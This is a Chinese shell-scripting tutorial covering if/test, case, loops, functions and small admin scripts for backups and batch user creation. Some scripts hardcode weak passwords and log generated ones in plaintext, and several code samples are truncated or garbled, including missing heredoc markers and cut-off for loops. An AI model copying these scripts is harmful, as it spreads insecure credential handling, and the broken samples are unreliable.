19.4 实战-升级系统中的java版本到1.8版本-为后期安装Hadoop集群做准备

19.4.1 安装jdk java运行环境

上传jdk-8u161-linux-x64.rpm软件包到localhost

[root@localhost ~]# rpm -ivh jdk-8u161-linux-x64.rpm
[root@localhost ~]#rpm -pql /root/jdk-8u161-linux-x64.rpm #通过查看jdk的信息可以知道jdk的安装目录在/usr/java 
[root@localhost ~]#vim /etc/profile  #在文件的最后添加以下内容:
export JAVA_HOME=/usr/java/jdk1.8.0_161
export JAVA_BIN=/usr/java/jdk1.8.0_161/bin
export PATH=${JAVA_HOME}/bin:$PATH
export CLASSPATH=.:${JAVA_HOME}/lib/dt.jar:${JAVA_HOME}/lib/tools.jar
[root@localhost ~]#source /etc/profile #使配置文件生效

验证java运行环境是否安装成功:

[root@localhost ~]# java -version
java version "1.8.0_161"
Java(TM) SE Runtime Environment (build 1.8.0_161-b12)
Java HotSpot(TM) 64-Bit Server VM (build 25.161-b12, mixed mode)

如果出现安装的对应版本,说明java运行环境已经安装成功。

注:这里只是升级了jdk的版本,因为在我安装的系统中已经安装了jdk。

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第二十章 条件测试语句和if流程控制语句的使用

20.1 read命令键盘读取变量的值

从键盘读取变量的值,通常用在shell脚本中与用户进行交互的场合。该命令可以一次读取多个变量的值,变量和输入的值都需要使用空格隔开。在read命令后面,如果没有指定变量名,读取的数据将被自动赋值给特定的变量REPLY

read从键盘读入数据,赋给变量

例1:

[root@localhost ~]# read a b
hello world
[root@localhost ~]# echo $a $b
hello world

20.1.1 read常用见用法及参数

例1:从标准输入读取一行并赋值给变量passwd

[root@localhost ~]# read passwd

例2:读取多个值,从标准输入读取一行,直至遇到第一个空白符或换行符。把用户键入的第一个词存到变量first中,把该行的剩余部分保存到变量last中

[root@localhost ~]# read firt last
aaaa bbbb

例3:read -s passwd 将你输入的东西隐藏起来,值赋给passwd。这个用户隐藏密码信息

[root@localhost ~]# read -s passw
[root@localhost ~]# echo $passwd
123456

例4:输入的时间限制

[root@localhost ~]# read -t 2 time #超过两秒没有输入,直接退出

例5:输入的长度限制

[root@localhost ~]# read -n 2 test #最多只接受2个字符

例6:使用-r参数输,允许让输入中的内容包括:空格、/、\、 ?等特殊字符串。

[root@localhost ~]# read -r line
sdf sdf / sdfs /n
[root@localhost ~]# echo $line
sdf sdf / sdfs /n

例7:-p 用于给出提示符,在前面的例子中我们使用了echo –n “…“来给出提示符

方法1:

[root@localhost ~]# read -p "please input: " pass
please input: 123456
[root@localhost ~]# echo $pass
123456

方法2:

[root@localhost ~]# echo -n "please input: " ; read pass
please input: 123456
[root@localhost ~]# echo $pass
123456

例8:read 综合实例

[root@localhost ~]# vim test-read.sh #写入以下内容
#!/bin/bash
read -p "请输入姓名:" NAME
read -p "请输入年龄:" AGE
read -p "请输入性别:" SEX
cat

*********************

你的基本信息如下:
姓名: $NAME
年龄:$AGE
性别:$SEX

********************

eof
[root@localhost ~]# sh test-read.sh
请输入姓名:xuegod
请输入年龄:111
请输入性别:man

*********************

你的基本信息如下:
姓名: xuegod
年龄:111
性别:man

20.2 流程控制语句if

20.2.1 语法格式

if 条件q
then
commands
fi

if语句流程图:

注:根据我们的命令退出码来进行判断(echo $? =0),如果是0,那么就会执行then后面的命令

例1:

[root@localhost ~]# vim if-1.sh
#!/bin/bash
if ls /mnt
then
echo "it's ok"
fi

[root@localhost ~]# bash !$
bash if-1.sh
CentOS_BuildTag GPL LiveOS RPM-GPG-KEY-CentOS-7
EFI images Packages RPM-GPG-KEY-CentOS-Testing-7
EULA isolinux repodata TRANS.TBL
it's ok

20.2.2 双分支if语句

语法格式:

if command ; then
commands
else
commands
fi

 例2:

[root@localhost ~]# cat if-2.sh
#!/bin/bash
if grep root /etc/passwd ; then
echo "it's ok"
else
"it's err"
fi
[root@localhost ~]# sh if-2.sh
root:x:0:0:root:/root:/bin/bash
operator:x:11:0:operator:/root:/sbin/nologin
it's ok

例3:

[root@localhost ~]# cat if-3.sh
#!/bin/bash
if grep xuegod /etc/passwd ;then
echo "it's ok"
else
echo "it's err"
fi
[root@localhost ~]# sh if-3.sh
it's err

20.2.3 多分支if语句

语法结构:

if条件测试操作1 ; then
commands
elif 条件测试操作2 ; then
commands
elif 条件测试操作3 ; then
commands
.......
else
commands
fi

例4:判断用户在系统中是否存在,是否有家目录

[root@localhost ~]# cat if-4.sh
#!/bin/bash
read -p "input a user:" tu
if grep $tu /etc/passwd ; then
echo "the user $tu exists on this system"
elif ls -d /home/$tu ; then
echo "the user $tu not exists on this system"
echo "$tu has a home directory"
else
echo "the user $tu not exists on this system"
echo "$tu not has a direcotry"
fi

[root@localhost ~]# sh if-4.sh
Input a user: hr
chrony:x:994:990::/var/lib/chrony:/sbin/nologin
hr:x:1000:1000:hr:/home/hr:/bin/bash
the user hr exists on this system

[root@localhost ~]# sh if-4.sh
Input a user: xuegod
/home/xuegod
xuegod has a directory

20.3 test测试命令

Shell中的 test 命令用于检查某个条件是否成立,它可以进行数值、字符和文件三个方面的测试

格式:test 测试条件

如果结果是对的,也叫结果为真,用$?=0表示,反之为假,用非0表示

20.3.1 数值比较

参数

说明

示例

-eq

等于则为真

[ “$a” -eq “$b” ]

-ne

不等于则为真

[ “$a” -ne “$b” ]

-gt

大于则为真

[ “$a” -gt “$b” ]

-ge

大于等于则为真

[ “$a” -ge “$b” ]

-lt

小于则为真

[ “$a” -lt “$b” ]

-le

小于等于则为真

[ “$a” -le “$b” ]

例1:比较大小

[root@localhost ~]# cat test1.sh
#!/bin/bash
if test 2 -eq 1 ; then
echo ok
else
echo err
fi
if [ 2 -eq 2 ] ; then
echo ok
else
echo err
fi

例2: 比较整数大小

[root@localhost ~]# cat test2.sh
#!/bin/bash
read -p "input var1 var2:" var1 var2
if [ $var1 -gt $var2 ] ; then
echo "$var1 > $var2"
elif [ $var1 -lt $var2 ] ; then
echo "$var1 < $var2"
else
echo "$var1 = $var2"
fi

注意:在做数值比较时,只能用整数

20.3.2 字符串比较

参数.

说明

示例

==

等于则为真

[ “$a” == “$b” ]

!=

不相等则为真

[ “$a” != “$b” ]

-z 字符串.

字符串的长度为零则为真

[ -z “$a” ]

-n 字符串

字符串的长度不为空则为真

[ -n “$a” ]

str1 > str2

str1大于str2为真

[ str1 \> str2 ]

str1 < str2

str1小于str2为真

[ str1 \< str2 ]

例1:根据用户名判断是否是超级管理员

[root@localhost ~]# cat test3.sh
#!/bin/bash
read -p "input your name: " name
if [ $name == "root" ] ; then
echo "you are super administrator"
else
echo "You are a general user"
fi
[root@localhost ~]# bash test3.sh
input your name: root
you are super administrator
[root@localhost ~]# bash test3.sh
input your name: mk
You are a general usero "You are a general user"

例2:在做字符串大小比较的时候,注意字符串的顺序

大于号和小于号必须转义,要不然SHELL会把它当成重定向符号

大于和小于它们的顺序和sort排序是不一样的

在test比较测试中,它使用的是ASCII顺序,大写字母是小于小写字母的;sort刚好相反

扩展: ASCII(American Standard Code for Information Interchange,美国信息交换标准代码)是基于拉丁字母的一套电脑编码系统,主要用于显示现代英语和其他西欧语言。它是现今最通用的单字节编码系统,并等同于国际标准ISO/IEC 646。

[root@localhost ~]# cat test4.sh
#!/bin/bash
var1=test
var2=Test
if [ $var1 \> $var2 ] ; then
echo "$var1 > $var2"
else
echo "$var1 < $var2"
fi
[root@localhost ~]# bash test4.sh
test > Test

20.3.3 文件比较

参数

.说明

示例

-e 文件名.

如果文件或目录存在则为真

[ -e file ]

-r 文件名.

如果文件存在且可读则为真

[ -r file ]

-w 文件名.

如果文件存在且可写则为真

[ -w file ]

-x 文件名.

如果文件存在且可执行则为真

[ -x file ]

-s 文件名

如果文件存在且至少有一个字符则为真

[ -s file ]

-d 文件名.

如果文件存在且为目录则为真

[ -d file ]

-f 文件名.

如果文件存在且为普通文件则为真

[ -f file ]

-c 文件名.

如果文件存在且为字符型文件则为真

[ -c file ]

-b 文件名..

如果文件存在且为块特殊文件则为真

[ -b file ]

file1 -nt fle2

检查file1是否比file2新

[ file1 -nt file2 ]

file1 -ot file2

检查file1是否比file2旧

[ file1 -ot file2 ]

例1:

[root@localhost ~]# vim test5.sh
#!/bin/bash
if [ -e /etc/passwd ] ; then
echo ok
else
echo err
fi
[root@localhost ~]# bash test5.sh
ok

例2:

[root@localhost ~]# test -e /etc/aaa.txt && echo ok || echo err
err
[root@localhost ~]# test -e /etc/passwd && echo ok || echo err
ok
[root@localhost ~]# test -e /etc && echo ok || echo err
ok

例:清空日志目录

[root@localhost ~]# cat clear-log.sh
#!/bin/bash
# clear /var/log/messages
#确定当前是root用户
if [ $USER != "root" ];then
echo "你必须使用root用户才能执行脚本"
exit 10 #直接退出,并返回10
fi
#判断文件是否存在
if [ ! -f /var/log/messages ];then
echo "文件不存在"
exit 12
fi
#保留最近100行的日志内容
tail -100 /var/log/messages > /var/log/mesg.tmp
#日志清理
>/var/log/messages
#cat /dev/null > /var/log/messages
mv /var/log/mesg.tmp /var/log/messages
echo "Logs clean up"

注:退出码 exit ,取值范围是0-255

例: exit 退出bash,并返回一个值

[root@localhost ~]# ssh 192.168.1.63
root@192.168.1.63's password: 123456
Last login: Mon May 28 20:37:41 2018 from localhost.cn
[root@localhost ~]#
[root@localhost ~]# exit 10
登出
Connection to 192.168.1.63 closed.
[root@localhost ~]# echo $?
10

20.4 流程控制过程中复杂条件和通配符

20.4.1 判断第一种:两个条件都为真或有一个为真就执行

if [ 条件判断一 ] && (||) [ 条件判断二 ]; then

命令一

elif [ 条件判断三 ] && (||) [ 条件判断四 ]; then

命令二

else

   执行其它

fi

判断第二种

if [条件判断一 -a (-o) 条件判断二 -a (-o) 条件判断三]; then

elif [条件判断三 -a (-o) 条件判断四 ]; then

else

   执行其它

fi

判断第三种

if [[条件判断一 && (||) 条件判断二 ]]; then

elif [[ 条件判断三 && (||) 条件判断四 ]]; then

else

   执行其它

fi

例1:设置umask

参考:

 [root@localhost ~]# vim /etc/profile

[root@localhost ~]# vim umask.sh
if [ $UID -gt 199 ] && [ "`/usr/bin/id -gn`" = "`/usr/bin/id -un`" ]; then
echo "umask 002"
else
echo "i am root :umask 022"
fi
[root@localhost ~]# bash umask.sh
i am root :umask 022

例2:[[ 。。。 ]]和[ 。。。]的区别

[[… ]] 运算符是[… ]运算符的扩充;[[… ]]能够支持 *, 、>等符号且不需要转义符

例1:

[root@localhost ~]# if [[ $USER == r* ]] ; then echo "hello,$USER" ; else echo $USER not ; fi

hello,root

注: $USER == r*对比时, r* 表示以r开头的任意长度字符串,这样就包括root

当只有一个[] 方括号时:

[root@localhost ~]# if [ $USER == r* ] ; then echo "hello,$USER" ; else echo $USER not ; fi

root not

#对比时r* ,就表示两个字符串 r*

也可以这样写:

[root@localhost ~]# if [[ $USER == [a-z]oot ]] ; then echo "hello,$USER" ; else echo $USER not ; fi

[[ 。。。 ]]和[ 。。。]的区别汇总:

1、所有的字符与逻辑运算符直接用“空格”分开,不能连到一起。

2、在[… ]表达式中,常见的> 、需要加转义符\,大小比较

3、进行逻辑运算符&& 、||比较时;如果用的[ ]符号,则用在外面,如[… ] && [… ] || [ …]如果在[…]里面进行逻辑与或的比较,则用-a、-o进行表示,如[ x = y –a x < z –o x > m ]

4、[[… ]] 运算符只是[… ]运算符的扩充;能够支持 、>符号运算不需要转义符;它还是以字符串比较大小。里面支持逻辑运算符 || 、 && , 不再使用-a 、-o

5、[[…]] 用 && 而不是 -a 表示逻辑“与”;用 || 而不是 -o表示逻辑“或”

6、[[… ]]可以进行算术扩展,而[ ... ]不可以

7、[[...]]能用正则,而[...]不行

8、双括号(( ))用于数学表达式

9、双方括号号[[ ]]用于高级字符串处理,比如“模糊匹配”

20.4.2 shell中的通配符

shell常见通配符:

字符

含义

实例

*

匹配 0 或多个字符

a*b  a与b之间可以有任意长度的任意字符, 也可以一个也没有, 如aabcb, axyzb, a012b, ab。

?

匹配任意一个字符

a?b  a与b之间必须也只能有一个字符, 可以是任意字符, 如aab, abb, acb, a0b。

[list] 

匹配 list 中的任意单一字符

a[xyz]b   a与b之间必须也只能有一个字符, 但只能是 x 或 y 或 z, 如: axb, ayb, azb。

[!list] 

匹配 除list 中的任意单一字符

a[!0-9]b  a与b之间必须也只能有一个字符, 但不能是阿拉伯数字, 如axb, aab, a-b。

[c1-c2]

匹配 c1-c2 中的任意单一字符 如:[0-9] [a-z]

a[0-9]b  0与9之间必须也只能有一个字符 如a0b, a1b... a9b。

{string1,string2,...}

匹配 sring1 或 string2 (或更多)其一字符串

a{abc,xyz,123}b    a与b之间只能是abc或xyz或123这三个字符串之一。

例:

[root@localhost ~]# ls /etc/*.conf
[root@localhost ~]# ls /etc/???.conf
/etc/nfs.conf /etc/sos.conf /etc/yum.conf
[root@localhost ~]# touch /opt/a{1,2,3}.txt
[root@localhost ~]# ls /opt/a[123].txt
/opt/a1.txt /opt/a2.txt /opt/a3.txt
[root@localhost ~]# ls /opt/a[1,2,3].txt
[root@localhost ~]# ls /opt/a[13].txt
/opt/a1.txt /opt/a3.txt

20.5 实战-3个shell脚本实战

20.5.1 实战1:编写脚本检查服务器运行状态

[root@localhost ~]# vim status.sh
#!/bin/bash
if [ $# -ge 1 ] ; then
systemctl status $1 > /dev/null
if [ $? -eq 0 ] ; then
echo "$1 服务正在运行"
else
systemctl start $1
fi
else
echo "执行脚本的格式"
echo "sh $0 服务名"
fi

20.5.2 实战2:根据学生的成绩判断 学生的优劣

[root@localhost ~]# vim check_cj.sh
#!/bin/bash
read -p "请输入你的成绩 " cj
if [ $cj -ge 0 ] && [ $cj -le 59 ] ;then
echo "补考"
elif [ $cj -ge 60 ] && [ $cj -le 70 ] ;then
echo "良好"
elif [ $cj -ge 71 ] && [ $cj -le 85 ] ;then
echo "好"
elif [ $cj -ge 86 ] && [ $cj -le 100 ] ;then
echo "优秀"
else
echo "成绩的有效范围是0-100之间"
fi

20.5.3 实战3:每周一晚上3:00 ,备份数据库服务器上webdb库的所有数据到系统的/mysqlbak目录里,使用系统日期做备份文件名。

[root@localhost ~]# vim mysqlbak.sh
#!/bin/bash
baknamefile=`date +%Y-%m-%d`
bakdir=/mysqlbak
user=root
password=123
dbname=webdb
[ -e $bakdir ] || mkdir $bakdir
mysqldump -u$user -p$password --flush-logs $dbname > $bakdir/${baknamefile}-webdb.sql

因为mysql咱们还没有学,这里以/etc目录来做实验:

[root@localhost ~]# vim etcbak.sh
#!/bin/bash
baknamefile=`date +%Y-%m-%d`
bakdir=/etcbak
srcdir=/etc
[ -e $bakdir ] || mkdir $bakdir
tar zcvf ${bakdir}/${baknamefile}-etc.tar.gz /etc/
echo "========================"
ls -lh ${bakdir}/${baknamefile}-etc.tar.gz
echo "back etc is ok!"
[root@localhost ~]# chmod +x etcbak.sh
[root@localhost ~]# crontab -e
0 3 * * * /root/etcbak.sh 2>&1 > /dev/null

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第二十一章 结构化命令case和for、while循环

21.1 流程控制语句:case

控制语句:用来实现对程序流程的选择、循环、转向和返回等进行控制。case是开关语句的一个组成部分;

它是根据变量的不同进行取值比较,然后针对不同的取值分别执行不同的命令操作

适用于多分支,是一个多选择语句

case     变量或表达式     in

              变量或表达式1)

                     命令序列1

                     ;;

            变量或表达式2)

                     命令序列2

                     ;;

                     ……

                     *)  

                     默认命令序列

 esac

case语句执行流程控制:

 执行流程:

首先使用“变量或表达式”的值与值1进行比较,若取值相同则执行值1后的命令序列,直到遇见双分号“;; ”后跳转至esac,表示分支结束;

若与值1不相匹配,则继续与值2 进行比较,若取值相同则执行值2 后的命令序列,直到遇见双分号“;; ”后跳转至esac,表示结束分支。

依次类推,若找不到任何匹配的值,则执行默认模式“ *) ”后的命令序列,直到遇见esac后结束分支

注意事项:

“变量或表达式”后面必须为单词in,每一个“变量或表达式”的值必须以右括号结束。取值可以为变量或常数。匹配发现取值符合某一模式后,其间所有命令开始执行直至 ;;

匹配中的值可以是多个值,通过“|”来分隔

例1:编写一个操作文件的脚本

[root@localhost ~]# cat case-1.sh
#########################################################################
# File Name: case-1.sh
# Author: xuegod
#########################################################################
#!/bin/bash
cat
****************
** 1. backup **
** 2. copy **
** 3. quit **
****************
eof
read -p "Input a choose: " OP
case $OP in
1|backup)
echo "BACKUP......"
;;
2|copy)
echo "COPY....."
;;
3|quit)
exit
;;
*)
echo error
esac

例2:编写一个启动apache服务脚本

[root@localhost ~]# yum install httpd -y
[root@localhost ~]# vim case-2.sh
#!/bin/bash
case $1 in
start)
systemctl $1 httpd
ps aux|grep httpd
echo "httpd start"
;;
stop)
systemctl $1 httpd
ps aux|grep httpd
echo "httpd stop"
;;
status)
systemctl $1 httpd
;;
restart)
systemctl $1 httpd
echo "httpd restart"
;;
*)
echo "USAGE: $0 start|stop|restart"
esac

21.2 循环语句

21.2.1 for-do-done

语法格式:

for var in list
do
commands
done
或:
for var in list ; do
commands
done

 取值列表有多种取值方式,比如

可以直接读取in 后面的值,默认以空格做分隔

[root@localhost ~]# vim for-1.sh
#!/bin/bash
for var in a1 b1 c1 d1
do
echo the text is $var
done

列表中的复杂值,可以使用 引号或转义字符”/”来加以约束

[root@localhost ~]# cat for-2.sh
#!/bin/bash
for var in a1 b1 "c1 d1" e2 "hello world"
do
echo the text is $var
done
[root@localhost ~]# cat for-3.sh
#!/bin/bash
for var in a1 b\'1 "c1 d1" e2 "hello world" I\'s a22
do
echo the text is $var
done

从变量中取值

[root@localhost ~]# cat for-4.sh
#!/bin/bash
list="a1 b1 c1 d1"
for i in $list
do
echo is a $i
done

4、从命令中取值

[root@localhost ~]# cat for-5.sh #以空格做分隔符
#!/bin/bash
for i in `cat /etc/hosts`
do
echo "$i"
done

5、自定义shell分隔符

默认情况下,base shell会以空格、制表符、换行符做为分隔符。通过IFS来自定义为分隔符

指定单个字符做分隔符:

IFS=: #以:冒号做分隔符

可以指定多个

如 IFS='\n':;" #这个赋值会将反斜杠、n、冒号、分号和双引号作为字段分隔符。

注:$'\n'与'\n'时的区别

IFS='\n' #将字符\和字符n作为IFS的换行符。

IFS=$'\n' #正真的使用换行符做为字段分隔符。

[root@localhost ~]# cat for-6.sh #指定以\n回车做为 for语句的分隔符
#!/bin/bash
IFS=$'\n'
for i in `cat /etc/hosts`
do
echo "$i"
done
[root@localhost ~]# cat for-7.sh #以:冒号做分隔符
#!/bin/bash
IFS=:
list=`head -1 /etc/passwd`
for i in $list
do
echo $i
done

6、C语言风格的for

语法格式:

for ((i=0;i
do
commmands
done

例1:单个变量。 输出1到10之间的数字

[root@localhost ~]# cat for-8.sh
#!/bin/bash
for (( i=1 ; i
do
echo num is $i
done

注:

互动: i++ 这一条语句在for循环体中哪个位置执行?

for (( i=1 ; i
do
echo num is $i
i=$(($i+1)) # i++在这里执行。 当for循环体中所有命令执行完后,再执行i++
done

例2:多个变量。 同时输出1-9的升序和降序

[root@localhost ~]# cat for-8.sh
#!/bin/bash
for ((a=1,b=9 ; a
do
echo num is $a - $b
done

21.3 while循环语句和循环嵌套

21.3.1 while-do-done

重复测试指令的条件,只要条件成立就反复执行对应的命令操作,直到命令不成立或为假;

语法格式如下:

while 测试命令

do

命令

done

 注意:避免陷入死循环 while true

例1:降序输出10到1的数字

[root@localhost ~]# cat while-1.sh
#!/bin/bash
var=10
while [ $var -gt 0 ]
do
echo $var
var=$[$var-1]
done

例2:输出如下图两数相乘的效果

 自增操作 let var++

自减操作 let var--

[root@localhost ~]# cat while-2.sh
#!/bin/bash
num=1
while [ $num -lt 10 ]
do
sum=$(( $num * $num ))
echo "$num * $num = $sum"
((num++))
# let num++
done

21.3.2 嵌套循环

例1:批量添加a.txt文件5个用户

[root@localhost ~]# vim a.txt   #添加5个用户
mk
cd
ls
find
ln

编写脚本的思路

1 明确脚本的功能

2 编写脚本时会使用到那些命令 ? useradd passwd for

3 把变化的数据使用变量表示

4 选择适合的流程控制 (选择 、 循环 、分支)

[root@localhost ~]# cat for-adduser.sh 
#!/bin/bash
for name in `cat /root/a.txt`
#for name in $(cat /root/a.txt)
do
        id $name &> /dev/null
        if [ $? -ne 0 ];then
                useradd $name
                echo "123456" |passwd --stdin $name &> /dev/null
                echo "user $name created"

        else
                echo "user $name is exist"
        fi
done
注:&> 是正确和错误的信息都重定向到/dev/null里面

例2 :打印九九乘法表

[root@localhost ~]# ./for-for.sh
1*1= 1
2*1= 2 2*2= 4
3*1= 3 3*2= 6 3*3= 9
4*1= 4 4*2= 8 4*3= 12 4*4= 16
5*1= 5 5*2= 10 5*3= 15 5*4= 20 5*5= 25
6*1= 6 6*2= 12 6*3= 18 6*4= 24 6*5= 30 6*6= 36
7*1= 7 7*2= 14 7*3= 21 7*4= 28 7*5= 35 7*6= 42 7*7= 49
8*1= 8 8*2= 16 8*3= 24 8*4= 32 8*5= 40 8*6= 48 8*7= 56 8*8= 64
9*1= 9 9*2= 18 9*3= 27 9*4= 36 9*5= 45 9*6= 54 9*7= 63 9*8= 72 9*9= 81

注:外层循环循环行,内层循环循环列

规律: 内层循环的变量

[root@localhost ~]# cat for-for.sh
for i in  `seq 9`
do
         for j in `seq $i`
         do
              echo  -n  "$i*$j= `echo $(($i*$j))` "
         done
        echo "  "
done

21.4 实战-3个shell脚本实战

21.4.1 实战-将/opt目录下所有的日志文件全自动打包

[root@localhost ~]# vim log-back.sh
#!/bin/sh
SRC_DIR=/var/log/
DES_DIR=/opt/backup/`date +%Y%m%d`
if
[ ! -d  $DES_DIR ] ; then
        mkdir -p $DES_DIR
fi
for i in  `find  $SRC_DIR  -name "*.log"`
do
        tar  czf  $i.tgz  $i
done
mv /var/log/*.tgz $DES_DIR
ls -lh $DES_DIR
echo "The scripts exec end, Files tar successfully !"

21.4.2 实战-找出192.168.1.1-10网段中,服务器已经关机的IP地址

[root@localhost ~]# vim ping.sh
#!/bin/bash
i=1
for (( i=1;i<10;i++ ))
do
  ping  -c  3  192.168.1.$i &> /dev/null
  if  [ $? -ne 0 ];then
     echo 192.168.1.$i is shutdown
  fi
done

21.4.3 批量创建帐号并生成随机密码

[root@localhost ~]# vim adduser.sh
#!/bin/bash
for i in xuegoda{1..10}
do
      useradd $i
      pass=`date +%s|md5sum|cut -c 1-8`
      sleep 1
      echo "$i:$pass" >> /tmp/passwd.log
      echo $pass |passwd --stdin $i > /dev/null 2>&1
      if [ $? -eq 0 ];then
        echo "create user is successfully!"
      else
        echo "create user is failed!"
      fi
done

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第二十二章 跳出循环-shift参数左移-函数的使用

22.1 跳出循环

在我们使用循环语句进行循环的过程中,有时候需要在未达到循环结束条件时强制跳出循环,那么Shell给我们提供了两个命令来实现该功能:break和continue

22.1.1 break和continue

Break:跳出整个循环

Continue:跳过本次循环,进行下次循环

break概述:跳出当前整个循环或结束当前循环,在for、while等循环语句中,用于跳出当前所在的循环体,执行循环体之后的语句,后面如果什么也不加,表示跳出当前循环等价于break 1,也可以在后面加数字,假设break 3表示跳出第三层循环

continue概述:忽略本次循环剩余的代码,直接进行下一次循环;在for、while等循环语句中,用于跳出当前所在的循环体,执行循环体之后的语句,如果后面加的数字是1,表示忽略本次条件循环,如果是2的话,忽略下来2次条件的循环

互动:先演示一下效果,让大家思考一下,这个脚本的思路,然后我再带着你去写脚本。

例1:写一个shell菜单,当按数字键4时退出,否则一直循环显示

[root@localhost ~]# vim break-continue.sh
#! /bin/sh
while true
do
	 echo "*******************************"
	 echo "Please select your operation:"
	 echo " 1 Copy"
	 echo " 2 Delete"
	 echo " 3 Backup"
	 echo " 4 Quit"
	 echo "*******************************"
	 read op
 case $op in
    1)
	 continue    #这里加了continue后,后面的echo命令就不执行了
	 echo "your selection is Copy"
	 ;;
    2)
     	 echo "your selection is Delete"
	 ;;
    3)
	 echo "your selection is Backup"
	 ;;
    4)
	 echo "Exit ..."
	 break    #跳出循环体
	 ;;
     *)
 	echo "invalide selection,please try again"
  esac
done

例2:使用交互式方法批量添加用户

[root@localhost ~]# cat adduser.sh 
#!/bin/bash
while :
do
	read -p "Please enter prefix & password & num:" pre pass num
	printf "user information:
	*********************
	user prefix:   $pre
	user password: $pass
	user number:   $num
	********************
"
read -p "Are you sure?[y/n] " action
if [ "$action" == "y" ];then
	break
fi
done
for i in $(seq  $num)    # 从i =1开始,取到 $num  。 seq 表示 1-$num  
#$(seq  $num) 等于  ` seq  $num `   ; $( 命令 ) ; ${ 变量 }  ; [ 表达式/条件 ]  

do
	user=${pre}${i}
	id $user &> /dev/null
	if [ $? -ne 0 ];then
		useradd $user
		echo "$pass"|passwd --stdin $user &> /dev/null
		if [ $? -eq 0 ];then
			echo -e "\033[31m$user\033[0m creat"   #以红色来显示用户名
		fi
	else
		echo "user $user exist"
	fi
done

扩展: seq命令: seq命令用于产生从某个数到另外一个数之间的所有整数。

[root@localhost ~]# seq 5   #输出 1-5的数字
1
2
3
4
5

22.2 Shift参数左移指令

shift命令用于对参数的移动(左移),通常用于在不知道传入参数个数的情况下依次遍历每个参数然后进行相应处理(常见于Linux中各种程序的启动脚本)

在扫描处理脚本程序的参数时,经常要用到的shift命令,如果你的脚本需要10个或10个以上的参数,你就需要用shift命令来访问第10个及其后面的参数

作用:每执行一次,参数序列顺次左移一个位置,$#的值减1,用于分别处理每个参数,移出去的参数,不再可用

 例子:加法计算器

[root@localhost ~]# cat shift.sh 
#!/bin/bash
if [ $# -le 0 ];then
	echo  “没有足够的参数”
	exit
fi

sum=0
while  [  $#  -gt  0  ]  ; do
	#sum=$(expr $sum + $1)
	sum=$[$sum+$1]
	shift
   # shift 2  一次移动2个参数
done
echo result is $sum
测试:
[root@localhost ~]# bash a shift.sh  11 2 3 4 
result is 20

22.3 函数的使用

函数是一个脚本代码块,你可以对它进行自定义命名,并且可以在脚本中任意位置使用这个函数,要使用这个函数,只要使用这个函数名称就可以了。使用函数的好处:模块化,代码可读性强。

22.3.1 函数创建语法

方法1:

function name {
		commands
}
注意:name是函数唯一的名称

方法2:name后面的括号表示你正在定义一个函数

name(){
		commands
}

调用函数语法:

函数名 参数1 参数2 …

调用函数时,可以传递参数。在函数中用$1、$2…来引用传递的参数

22.3.2 函数的使用

例1:

[root@localhost ~]# cat fun-1.sh 
#!/bin/bash
function fun_1 {    #定义函数
        echo "this is function"
}
fun_1   #调用函数

注意:函数名的使用,如果在一个脚本中定义了重复的函数名,那么以最后一个为准
[root@localhost ~]# cat fun-1.sh 
#!/bin/bash
function fun_1 {
        echo "this is function"
}
function fun_1 {
        echo "this is 2222222"
}
fun_1

[root@localhost ~]# bash fun-1.sh 
this is 2222222

22.3.3 返回值

使用return命令来退出函数并返回特定的退出码

例1:

[root@localhost ~]# vim fun-1.sh
#!/bin/bash
function fun_1 {
        echo "this is function"
        ls /etc/passwd
        return 3
}
fun_1

[root@localhost ~]# bash fun-1.sh   #查看结果
this is function
/etc/passwd
[root@localhost ~]# echo $?
3

注:状态码的确定必需要在函数一结束就运行return返回值;状态码的取值范围(0~255)

互动: exit 数字 和return 数字的区别?

exit整个脚本就直接退出,往回数字 ; return 只是在函数最后添加一行,然后返回数字,只能让函数后面的命令不执行,无法强制退出整个脚本的。

22.3.4 把函数值赋给变量使用

例子: 函数名就相当于一个命令

[root@localhost ~]# cat fun-3.sh 
#!/bin/bash
fun1(){
        read -p "Input a value: " va
        echo $[$va*5]
}

num=$(fun1)
echo current num is $num

[root@localhost ~]# sh fun-3.sh 
Input a value: 22
current num is 110

22.3.5 函数的参数传递

第一种:通过脚本传递参数给函数中的位置参数$1

[root@localhost ~]# cat fun-4.sh a.txt
#!/bin/bash
fun1(){
        rm -rf $1
}
fun1 $1

第二种:调用函数时直接传递参数

[root@localhost ~]# touch  /root/a.txt  #创建一个测试文件
[root@localhost ~]# cat fun-4.sh 
#!/bin/bash
fun1(){
        rm -rf $1
}
fun1 /root/a.txt
[root@localhost ~]# bash fun-1.sh    #测试
[root@localhost ~]# ls /root/a.txt
ls: 无法访问/root/a.txt: 没有那个文件或目录

第三种:函数中多参数传递和使用方法

[root@localhost ~]# cat fun-5.sh
#!/bin/bash
fun1(){
        echo $[$1*5]
        echo $[$2*2]
}
fun1 5  2   #直接传两个参数

[root@localhost ~]# bash fun-1.sh   #测试
25 
4 

22.3.6 函数中变量的处理

函数使用的变量类型有两种:

局部变量

全局变量

1、全局变量,默认情况下,你在脚本中定义的变量都是全局变量,你在函数外面定义的变量在函数内也可以使用

例子:

[root@localhost ~]# cat fun-5.sh 
#!/bin/bash
function fun1 {
        num1=$[var1*2]
}
read -p "input a num:" var1
fun1
echo the new value is: $num1

[root@localhost ~]# bash fun-1.sh 
input a num:2
the new value is: 4

22.4 实战-自动备份mysql数据库脚本和nginx服务启动脚本

22.4.1 自动备份mysql数据库脚本

从centos7.0开始,系统中自带的mysql数据库包,改为mariadb数据库。

MariaDB数据库概述:MariaDB数据库管理系统是MySQL的一个分支,主要由开源社区在维护,采用GPL授权许可 MariaDB的目的是完全兼容MySQL,包括API和命令行,使之能轻松成为MySQL的代替品。MariaDB由MySQL的创始人Michael Widenius(迈克尔·维德纽斯)主导开发,他早前曾以10亿美元的价格,将自己创建的公司MySQL AB卖给了SUN,此后,随着SUN被甲骨文收购,MySQL的所有权也落入Oracle的手中。MariaDB名称来自Michael Widenius的女儿Maria(玛丽亚)的名字。

甲骨文公司收购了MySQL后,有将MySQL闭源的潜在风险,因此社区采用分支的方式来避开这个风险。 过去一年中,大型互联网用户以及Linux发行商纷纷抛弃MySQL,转投MariaDB阵营。MariaDB是目前最受关注的MySQL数据库衍生版,也被视为开源数据库MySQL的替代品。

安装mariadb数据库:

[root@localhost ~]# yum install -y mariadb mariadb-server -y
# mariadb 是mysql的客户端命令 ;mariadb mariadb-server 是mysql服务端命令
